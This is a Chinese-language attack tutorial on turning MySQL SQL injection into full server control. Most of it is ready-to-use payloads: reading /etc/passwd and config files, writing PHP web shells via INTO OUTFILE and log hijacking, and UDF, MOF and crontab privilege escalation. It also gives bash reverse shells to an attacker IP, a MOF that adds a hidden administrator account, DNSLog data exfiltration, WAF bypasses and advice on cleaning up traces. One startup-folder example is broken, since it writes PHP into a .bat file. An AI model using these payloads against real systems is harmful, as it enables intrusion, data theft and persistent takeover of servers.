当我们实现mysql盲注成功或者存在未授权利用漏洞了以后,最想做的肯定还是想办法拿到mysql数据库服务器的所有权,需要加以利用

查看权限

在进行MySQL数据库注入利用时,第一步且最核心的环节是探测当前数据库用户的权限状态。权限的高低直接决定了后续能够采取的攻击面,例如是否能够跨库查询、是否能够读写系统文件,或者是否具备进一步执行系统命令的条件。

用户身份查询

最基础的权限探测是获取当前执行查询的数据库用户身份。渗透测试人员需要明确当前自己“是谁”。这可以通过MySQL的内置函数直接获取。在典型的联合查询(UNION SQLi)注入点处,通常会构造如下语句来让数据库回显当前的用户名和主机信息:

-- 典型的联合查询注入,利用内置函数爆出当前用户
?id=-1' UNION SELECT 1, user(), 3 --+

-- current_user() 函数同样可以返回当前认证的用户
?id=-1' UNION SELECT 1, current_user(), 3 --+

-- 结合 database() 和 version() 可以获取更完整的上下文
?id=-1' UNION SELECT 1, concat(user(), ':', database(), ':', version()), 3 --+

如果上述查询返回的结果类似于 root@localhost,这意味着当前连接数据库的用户是自带的最高权限管理员。这对于安全研究来说是极其理想的情况,因为高权限意味着极大概率可以直接操作底层文件系统。如果返回的是类似于 www-data@localhost 或其他普通应用账户,那么后续的利用手段将会受到大幅限制。

除了直接观察用户名,从系统表中明确判断当前用户是否具有数据库管理员(DBA)级别的特权也是关键一步。这可以通过查询MySQL自带的权限系统表来实现,例如检查 mysql.user 表中的特权标志位:

-- 验证指定用户是否具有超级权限 (super_priv)
?id=-1' UNION SELECT 1, super_priv, 3 FROM mysql.user WHERE user = current_user() --+

-- 如果页面没有回显位,可以转换为布尔盲注来判断
?id=1' AND (SELECT super_priv FROM mysql.user WHERE user=current_user() LIMIT 1)='Y' --+

-- 也可以通过 information_schema 库检查具体权限
?id=-1' UNION SELECT 1, privilege_type, 3 FROM information_schema.user_privileges WHERE grantee LIKE concat('%', current_user(), '%') --+

权限查询

在确认了基础的数据库操作身份后,最为关键的权限配置探测是检查 secure_file_priv 这个系统全局变量的值。这个变量在文件级别的利用(如后续的文件读写利用模块)中起着决定性的“生死把关”作用,它严格控制了MySQL导入导出文件操作的权限,例如 LOAD DATA INFILESELECT ... INTO OUTFILE 的行为。

获取该变量配置的注入语句通常如下

-- 读取当前 MySQL 实例的文件操作权限配置
?id=-1' UNION SELECT 1, @@secure_file_priv, 3 --+

-- 或者读取全局变量
?id=-1' UNION SELECT 1, @@global.secure_file_priv, 3 --+

-- 在报错注入场景下,可以这样构造
?id=1' AND extractvalue(1, concat(0x7e, (SELECT @@secure_file_priv), 0x7e)) --+

对于提取出的 secure_file_priv 的结果,需要进行针对性的分析。如果回显结果为一个具体的绝对路径(例如 /var/lib/mysql-files/C:\ProgramData\MySQL\MySQL Server 8.0\Uploads\),则意味着文件读写操作被严格限制在了该特定目录下,此时要想跨目录将WebShell直接写入到网站的Web根目录就会触发权限拒绝错误。

如果该变量的回显结果为 NULL,则表示数据库管理员在配置文件中彻底禁用了MySQL的文件导入和导出操作,这条通过文件系统Getshell的常规路径被彻底封死。

最理想的情况是查询结果为空字符串(什么都不返回,并非NULL),这意味着MySQL引擎当前可以在系统上任何它具有底层操作系统级别读写权限的目录下进行文件操作。只有在这种“放行”状态下,才为后续利用 INTO OUTFILEINTO DUMPFILE 写入恶意脚本到Web目录铺平了道路。通过这些深度的权限探测,能够清晰地描绘出当前注入点所处的环境边界,从而决定是直接尝试写入后门文件,还是转向寻找日志文件Getshell等高级手法。

文件读写利用

在确认具备了满足操作条件的文件权限(即 secure_file_priv 为空)后,攻击者通常会首先尝试从底层操作系统中窃取高价值信息,或者直接向系统的Web可访问目录植入后门

读取敏感文件

基本流程

MySQL 提供了内置函数 LOAD_FILE(file_name) 来读取系统文件并将文件内容作为字符串返回。在实战中,能否成功读取文件不仅取决于 secure_file_priv 的配置,还需要满足以下几个苛刻的条件:

  1. 绝对路径: 必须提供目标文件在服务器上的完整物理绝对路径。
  2. 系统读取权限: 运行 MySQL 服务的操作系统底层账户(如 Linux 下的 mysql 用户或 Windows 下的 NETWORK SERVICE 等)必须对该目标文件具有读权限。
  3. 文件大小限制: 目标文件的大小不能超过 max_allowed_packet 变量设定的阈值。

在联合查询注入中,可以直接将文件内容输出到页面的回显位上:

-- Linux 环境下尝试读取具有极高价值的用户密码哈希文件或配置文件
?id=-1' UNION SELECT 1, LOAD_FILE('/etc/passwd'), 3 --+
?id=-1' UNION SELECT 1, LOAD_FILE('/var/www/html/config.php'), 3 --+
?id=-1' UNION SELECT 1, LOAD_FILE('/root/.bash_history'), 3 --+

-- Windows 环境下常用于验证的系统文件或应用配置
?id=-1' UNION SELECT 1, LOAD_FILE('C:\\Windows\\win.ini'), 3 --+
?id=-1' UNION SELECT 1, LOAD_FILE('C:\\Windows\\System32\\drivers\\etc\\hosts'), 3 --+
?id=-1' UNION SELECT 1, LOAD_FILE('C:/phpStudy/WWW/sqli-labs/sql-connections/db-creds.inc'), 3 --+

WAF绕过

绕过引号过滤: 如果在某些 WAF 或代码逻辑中单引号被转义或拦截,导致无法闭合字符串路径,可以利用十六进制编码(Hex Encoding)来传递路径参数。LOAD_FILE 函数可以直接解析十六进制编码的字符串,无需使用引号包裹。

-- 读取 /etc/passwd ,其 Hex 编码为 0x2f6574632f706173737764
?id=-1' UNION SELECT 1, LOAD_FILE(0x2f6574632f706173737764), 3 --+

mysql-writeshell

基本流程

相比于被动地读取信息,利用 MySQL 的导出功能直接在网站目录下写入一句话木马(WebShell)是获取服务器控制权的最直接途径。这主要依赖于 SELECT ... INTO OUTFILESELECT ... INTO DUMPFILE 语句。

要成功执行写入操作,必须同时满足三大前置条件:

  1. secure_file_priv 变量为空。
  2. 攻击者必须知道网站根目录的绝对路径(这通常通过前期的报错泄露、探针文件如 phpinfo.php 泄露、或是常见的路径字典爆破获得)。
  3. 运行 MySQL 服务的系统账户对该 Web 目录具有写权限(例如目录权限配置为 777)。

最基础的写入 Payload 如下,它将一个简单的 PHP 一句话木马写入到了 Web 目录中:

-- 使用 INTO OUTFILE 写入标准 PHP WebShell
?id=-1' UNION SELECT 1, '<?php @eval($_POST["cmd"]);?>', 3 INTO OUTFILE '/var/www/html/shell.php' --+

-- 如果目标是 Windows 系统,注意路径的斜杠转义
?id=-1' UNION SELECT 1, '<?php phpinfo();?>', 3 INTO OUTFILE 'C:\\phpStudy\\WWW\\info.php' --+

OUTFILE 与 DUMPFILE 的关键差异: 虽然两者都能写文件,但在具体场景中有严格的区分。

  • INTO OUTFILE 会在导出数据时自动格式化,例如在每行末尾添加换行符,且会对特殊字符(如 \n\r)进行转义。如果用来写入二进制文件(如 exe 或接下来要提到的 UDF 提权所用的 dll/so 文件),文件内容会被破坏导致无法执行。

  • INTO DUMPFILE 则专门用于导出单行且未格式化的原始数据。它不对任何内容进行转义,能够保证二进制数据的完整性。因此,写入 WebShell 时两者皆可,但写入二进制载荷时必须使用 DUMPFILE

WAF绕过

利用分隔符写入: 有时候为了绕过特定的过滤或者在非联合查询(如报错注入或部分盲注场景)中,可以巧妙地利用 OUTFILE 的格式化参数,将木马代码作为字段之间的分隔符或行末分隔符写入:

-- 将木马作为行分隔符写入
?id=1' INTO OUTFILE '/var/www/html/shell.php' LINES TERMINATED BY '<?php eval($_REQUEST[1]);?>' --+

-- 将木马作为字段包围符写入
?id=1' INTO OUTFILE '/var/www/html/shell.php' FIELDS ENCLOSED BY '<?php system($_GET["cmd"]);?>' --+

写入成功后,便可以直接通过浏览器访问 [http://target.com/shell.php](http://target.com/shell.php) 配合蚁剑、冰蝎等工具进行连接,从而完成从数据库层面到操作系统层面的初步越权。这是渗透测试中从 SQL 注入跨越到命令执行最经典、也是最致命的利用链条。

日志Getshell

secure_file_priv 被配置为 NULL,导致无法直接使用 INTO OUTFILE 写入木马时,如果当前数据库用户具有 SUPERDBA 权限,并且当前的数据库连接层或代码层支持堆叠查询(Stacked Queries),我们就可以通过篡改 MySQL 的自带日志配置来实现曲线救国。这也是渗透测试中突破文件写入限制最经典的手段。

全局日志Getshell

MySQL 的全局查询日志(General Query Log)功能默认是关闭的。一旦开启,它会事无巨细地记录下 MySQL 服务器接收到的每一条 SQL 语句,无论该语句执行成功与否。

攻击的核心思路是:将全局日志文件的保存路径修改为目标服务器的 Web 可访问目录,并将文件后缀伪装为 .php。随后,攻击者向数据库发送一条包含 PHP 一句话木马的查询语句。数据库引擎在记录这条查询时,会将木马代码原封不动地写入到该 PHP 文件中,从而被 Web 服务器解析。

具体的实战利用交互命令如下:

-- 1. 首先通过堆叠查询,探查当前全局日志的状态和默认存放路径(信息收集阶段)
?id=1'; SHOW VARIABLES LIKE 'general_log%'; --+

-- 2. 强制开启全局查询日志功能
?id=1'; SET GLOBAL general_log = 'ON'; --+

-- 3. 将全局日志的物理文件路径篡改为已知 Web 目录下的 PHP 文件
-- 这里的绝对路径需要结合前期的信息收集(如报错泄露、路径字典爆破)获取
?id=1'; SET GLOBAL general_log_file = '/var/www/html/shell.php'; --+

-- 如果目标系统是 Windows,务必注意路径反斜杠的转义问题
-- ?id=1'; SET GLOBAL general_log_file = 'C:\\phpStudy\\WWW\\shell.php'; --+

-- 4. 执行包含恶意 Payload 的任意 SQL 语句,使其被作为文本记录进我们构造的 shell.php 中
?id=1'; SELECT '<?php @eval($_POST["cmd"]);?>'; --+

在执行完上述步骤后,直接使用蚁剑等工具连接 [http://target.com/shell.php](http://target.com/shell.php) 即可。

注意与清理(OPSEC): 全局日志开启后,会飞速记录所有前端请求和系统后台的查询,这会导致 shell.php 文件体积迅速膨胀,甚至可能撑爆磁盘引起蓝队警觉。因此在获取 Shell 后,应立即执行清理操作恢复现场:

-- 关闭全局日志并恢复默认路径(路径需替换为第一步探查到的原始路径)
?id=1'; SET GLOBAL general_log = 'OFF'; --+
?id=1'; SET GLOBAL general_log_file = '/var/lib/mysql/hostname.log'; --+

Slow Query Log (慢查询日志) Getshell

如果目标系统的防御策略较为严密,全局查询日志被锁定监控,或者因为站点并发量极大导致全局日志文件瞬间庞大而无法顺利解析 PHP,我们可以转而利用慢查询日志(Slow Query Log)。

慢查询日志专门用于记录执行时间超过系统设定阈值(long_query_time)的 SQL 语句。利用它的好处是:写入的日志文件非常纯净,几乎只有我们构造的恶意代码,文件体积小,隐蔽性极高。

利用此手法的具体代码案例如下:

-- 1. 检查慢查询日志的状态、当前路径以及超时时间阈值
?id=1'; SHOW VARIABLES LIKE '%slow_query%'; --+
?id=1'; SHOW VARIABLES LIKE 'long_query_time'; --+

-- 2. 开启慢查询日志记录
?id=1'; SET GLOBAL slow_query_log = 'ON'; --+

-- 3. 将慢查询日志文件劫持到 Web 根目录
?id=1'; SET GLOBAL slow_query_log_file = '/var/www/html/slow_shell.php'; --+

-- 4. (可选)为了提高效率,避免漫长的等待,可以将慢查询的超时阈值调整为极短的时间
-- 注意这里有些版本可能需要重新连接才能使 long_query_time 生效
?id=1'; SET GLOBAL long_query_time = 1; --+

-- 5. 注入恶意语句,并强行绑定 sleep() 延迟函数,确保该条语句的执行时间必然超过阈值
?id=1'; SELECT '<?php eval($_POST["pass"]);?>' OR sleep(11); --+

因为包含了 sleep(11),这条查询将被 MySQL 判定为慢查询,从而将带有 <?php eval($_POST["pass"]);?> 的整个 SQL 文本丢进 /var/www/html/slow_shell.php 中。

不管是全局日志还是慢查询日志 Getshell,其底层逻辑都严重依赖于多语句执行(堆叠查询)的支持(例如 PHP 中错误使用了 mysqli_multi_query 函数,或者在 Java 渗透中 JDBC URL 配置了 allowMultiQueries=true)。因为修改 MySQL 的全局配置变量(SET GLOBAL)是无法在常规的 UNION SELECT 联合查询语句后直接拼接执行的。

权限提升与系统控制

当攻击者(或在进行授权的渗透测试时)成功拿到数据库的 DBA 权限,但由于某些边界防御机制无法直接通过 WebShell 控制服务器时,直接利用数据库的底层运行环境进行操作系统级别的提权(Privilege Escalation)便成了打破僵局的关键。这在各类攻防演练以及实战靶机中是极其核心的一环。

从单纯的“数据库数据读写”跨越到“操作系统命令执行”,通常需要借助操作系统的特性或是数据库自身的扩展功能。

UDF提权

UDF(用户自定义函数)提权是 MySQL 环境下最经典、也是你在底层安全研究中一定会高频接触的提权方式。MySQL 允许用户通过编写 C/C++ 代码并编译成动态链接库(Windows 下为 .dll,Linux 下为 .so)来扩展数据库的功能。如果攻击者能够将包含恶意系统命令执行代码的动态库写入到 MySQL 的插件目录,并注册为数据库函数,那么就可以直接以 MySQL 服务的运行权限(通常是 root 或 SYSTEM)执行系统命令。

这要求攻击者具备对底层二进制文件的一定理解,因为注入的 payload 实质上是一段编译好的共享对象代码。

利用流程

首先,必须探明当前 MySQL 实例的插件目录绝对路径,这是存放动态库的唯一合法位置:

-- 查询 MySQL 插件目录
?id=-1' UNION SELECT 1, @@plugin_dir, 3 --+
-- 典型回显例如:/usr/lib/mysql/plugin/

获取路径后,需要将预先准备好的恶意动态库写入该目录。由于动态库是二进制文件,在写入时绝对不能使用会导致数据格式被破坏的 INTO OUTFILE,必须使用保持二进制完整性的 INTO DUMPFILE。可以将二进制文件转换为十六进制字符串进行写入:

-- 将恶意 .so 文件的 Hex 编码写入插件目录
-- 这里的 0x7f454c46... 代表经过 Hex 编码的恶意 UDF 动态链接库二进制流
?id=-1' UNION SELECT 1, 0x7f454c46..., 3 INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so' --+

写入成功后,在 MySQL 内部创建一个引用该共享库中特定 C 函数的自定义函数。常用的恶意函数名通常被写死在动态库中,如 sys_eval(执行命令并返回标准输出)或 sys_exec(静默执行):

-- 声明并创建自定义函数,映射到刚才写入的 .so 文件
?id=-1'; CREATE FUNCTION sys_eval RETURNS string SONAME 'udf.so'; --+

完成这一步,就相当于在数据库系统内植入了一个合法的命令执行接口。现在可以直接调用它来接管系统:

-- 获取当前系统权限
?id=-1' UNION SELECT 1, sys_eval('whoami'), 3 --+

-- 在基于 Debian/Ubuntu 的环境中,直接反弹 Shell 到你的攻击机
?id=-1' UNION SELECT 1, sys_eval('bash -c "bash -i >& /dev/tcp/192.168.1.100/4444 0>&1"'), 3 --+

在完成底层取证或权限维持后,为了隐蔽踪迹(这在电子数据取证分析中是常见的对抗点),通常需要清理现场:

-- 删除自定义函数
?id=-1'; DROP FUNCTION sys_eval; --+

MOF提权

MOF(Managed Object Format)提权主要针对较老的 Windows 架构(如 Windows Server 2003 及更早版本)。虽然在现代云原生环境中极少见,但它完美诠释了利用操作系统底层组件监控机制来实现异步命令执行的思路。

在这些老旧的 Windows 系统中,WMI(Windows Management Instrumentation)服务会每隔几秒钟高频轮询并自动编译 %SystemRoot%\System32\Wbem\MOF\ 目录下的 .mof 文件。如果我们将一段包含 VBScript 的恶意 MOF 文件写入该目录,WMI 服务就会以 NT AUTHORITY\SYSTEM 的最高权限将其编译并执行。

利用流程

我们首先需要构造一段恶意的 MOF 代码,该代码的作用是添加一个隐蔽的系统管理员账户。

#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter {
    EventNamespace = "Root\\Cimv2";
    Name  = "filtP2";
    Query = "Select * From __InstanceModificationEvent "
            "Where TargetInstance Isa \"Win32_LocalTime\" "
            "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer {
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker Hack123! /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")";
};

instance of __FilterToConsumerBinding {
    Consumer   = $Consumer;
    Filter = $EventFilter;
};

利用 SQL 注入点,将这段包含恶意指令(此处为了便于在单行 SQL 中传输,已转换为 Hex 编码或极度压缩的字符串)写入特定目录:

-- 将构造好的恶意 MOF 文件写入 Wbem 监控目录
?id=-1' UNION SELECT 1, '构造好的MOF字符串', 3 INTO OUTFILE 'C:/Windows/System32/wbem/mof/evil.mof' --+

写入后无需进行任何额外触发操作,系统自身的 WMI 服务就会像一个忠实的定时任务一样,捕获该文件并以系统最高权限执行里面设定的添加用户指令。

启动项与计划任务提权

当 UDF 条件受限(例如无法找到 plugin 目录)时,利用数据库的文件写入权限直接篡改操作系统的计划任务或自启动配置,是一种通用性极强的“寄生”提权手法。

在 Linux 环境下,我们通常瞄准的是系统级定时任务文件 /etc/crontab 或是 root 用户的专属定时任务目录 /var/spool/cron/crontabs/root(或者是 /var/spool/cron/root,具体取决于发行版如 CentOS 或 Debian 体系)。

利用流程

目标是通过写入一条 Cron 表达式,让系统每分钟主动向你的机器发起反向连接。

-- 构造并写入反弹 Shell 的定时任务
-- 注意:写入 cron 文件时,末尾必须有换行符,且通常需要利用分隔符技巧来确保格式合法
?id=-1' UNION SELECT 1, '\n* * * * * root bash -i >& /dev/tcp/192.168.1.100/9999 0>&1\n', 3 INTO OUTFILE '/etc/crontab' --+

-- 或者写入特定用户的 cron 目录
?id=-1' UNION SELECT 1, '\n* * * * * bash -i >& /dev/tcp/192.168.1.100/9999 0>&1\n', 3 INTO OUTFILE '/var/spool/cron/crontabs/root' --+

在 Windows 环境下,思路则转变为将可执行的木马文件或是 VBS/BAT 启动脚本直接写入到系统的启动项目录(Startup Folder)中。当系统重启或者对应用户登录时,就会触发执行。

-- 针对 Windows 的自启动目录提权/留后门
-- 路径因系统语言和版本可能有所不同,这里以常见的中文 Windows 为例
?id=-1' UNION SELECT 1, '<?php @eval($_POST[1]);?>', 3 INTO OUTFILE 'C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/calc.bat' --+

无论是 UDF 的二进制劫持,还是利用 MOF 与计划任务的异步触发,这些提权手段都将 MySQL 注入的危害从单一的“数据泄露”直接升维到了“基础设施沦陷”。掌握这些底层机制的交互,对于深入分析攻击链路和构建安全防御体系有着不可替代的价值。

盲注与无回显高级利用

DNSLog外带数据

DNSLog 外带技术的核心原理,是利用了 MySQL 在Windows环境下的一个特殊底层行为:当内置的 LOAD_FILE() 函数尝试读取一个 UNC(Universal Naming Convention)网络路径时(格式如 \\server_name\share_name\file_name),Windows 的底层网络 API 为了定位该服务器,会自动发起一次 DNS 解析请求。

攻击者通过 CONCAT() 函数,将想要窃取的 SQL 查询结果作为“子域名”动态拼接到攻击者控制的 DNSLog 域名上。当数据库执行该语句时,带有敏感数据的域名就会被发送到 DNS 服务器,攻击者只需在自己的 DNS 接收端查看解析日志,就能直接“看”到被带出的数据。

需要特别注意的环境限制: 这种手法绝大多数情况下仅适用于运行在 Windows 操作系统上的 MySQL 实例。如果你在本地的 Kali 或 Ubuntu 虚拟机环境中进行漏洞复现,Linux 系统的 LOAD_FILE() 并不会对 UNC 路径发起底层的 DNS 请求。在电子数据取证和流量研判中,这也是一个快速定位目标底层操作系统类型的关键指纹。

利用流程

基础环境测试与库名外带 首先,需要确保注入点能够触发查询,并使用一个可用的 DNSLog 平台地址(假设我们获取的临时域名为 abc.dnslog.cn)。

-- 测试 DNSLog 是否能够正常接收请求 (简单的 Ping 操作)
-- 如果执行后在 dnslog 平台看到了 test.abc.dnslog.cn 的解析记录,说明存在 OOB 漏洞
?id=1' AND LOAD_FILE(CONCAT('\\\\', 'test', '.abc.dnslog.cn\\1.txt')) --+

-- 实战第一步:外带当前数据库的名称
-- 假设 database() 返回 'security',那么实际请求的 UNC 路径就是 \\security.abc.dnslog.cn\1.txt
?id=1' AND LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.abc.dnslog.cn\\1.txt')) --+

-- 外带当前数据库版本和用户名信息
?id=1' AND LOAD_FILE(CONCAT('\\\\', (SELECT version()), '.abc.dnslog.cn\\1.txt')) --+
?id=1' AND LOAD_FILE(CONCAT('\\\\', (SELECT user()), '.abc.dnslog.cn\\1.txt')) --+

规避特殊字符与数据格式化处理

在实际查询表名或字段内容时,查询结果中经常会包含空格、@# 或中文字符。由于 DNS 协议对域名的字符有严格限制(通常只允许字母、数字和连字符 -),直接拼接这些特殊字符会导致 DNS 解析失败,从而无法在日志中看到数据。

为了解决这个问题,在利用 Burp Suite 拦截数据包构造 Payload 时,通常会嵌套 HEX() 函数将查询结果转换为十六进制字符串,确保符合 DNS 规范。

-- 查询并外带 users 表中的第一个字段名,使用 HEX 编码避免特殊字符截断
-- 假设原内容为 'password',HEX 编码后为 '70617373776f7264'
?id=1' AND LOAD_FILE(CONCAT('\\\\', HEX((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1)), '.abc.dnslog.cn\\1.txt')) --+

-- 结合 SUBSTR() 函数处理超长数据
-- 域名的单级标签最大长度通常为 63 个字符,如果查询结果极长(如读取大文件或长哈希),必须截断分批外带
?id=1' AND LOAD_FILE(CONCAT('\\\\', SUBSTR(HEX((SELECT group_concat(username) FROM users)), 1, 30), '.abc.dnslog.cn\\1.txt')) --+

突破布尔或时间盲注的限制进行批量外带 当发现目标存在盲注时,直接结合 DNSLog 可以瞬间将原本需要跑几小时的盲注缩短到几秒钟。这种手法在进行深度的渗透验证时极其高效。

-- 将常规的时间盲注转化为 DNSLog 触发
-- 原本的 Sleep: ?id=1' AND IF((SELECT ascii(substr(database(),1,1)))=115, sleep(5), 1) --+
-- 转化为 OOB 外带:无需逐个字符猜测,直接一次性将整个库名发出来
?id=1' AND IF((SELECT LOAD_FILE(CONCAT('\\\\', database(), '.abc.dnslog.cn\\1.txt'))), 1, 1) --+

-- 利用报错注入函数(如 extractvalue)配合 DNSLog 绕过某些过滤逻辑
?id=1' AND extractvalue(1, concat(0x7e, (SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.abc.dnslog.cn\\1.txt'))))) --+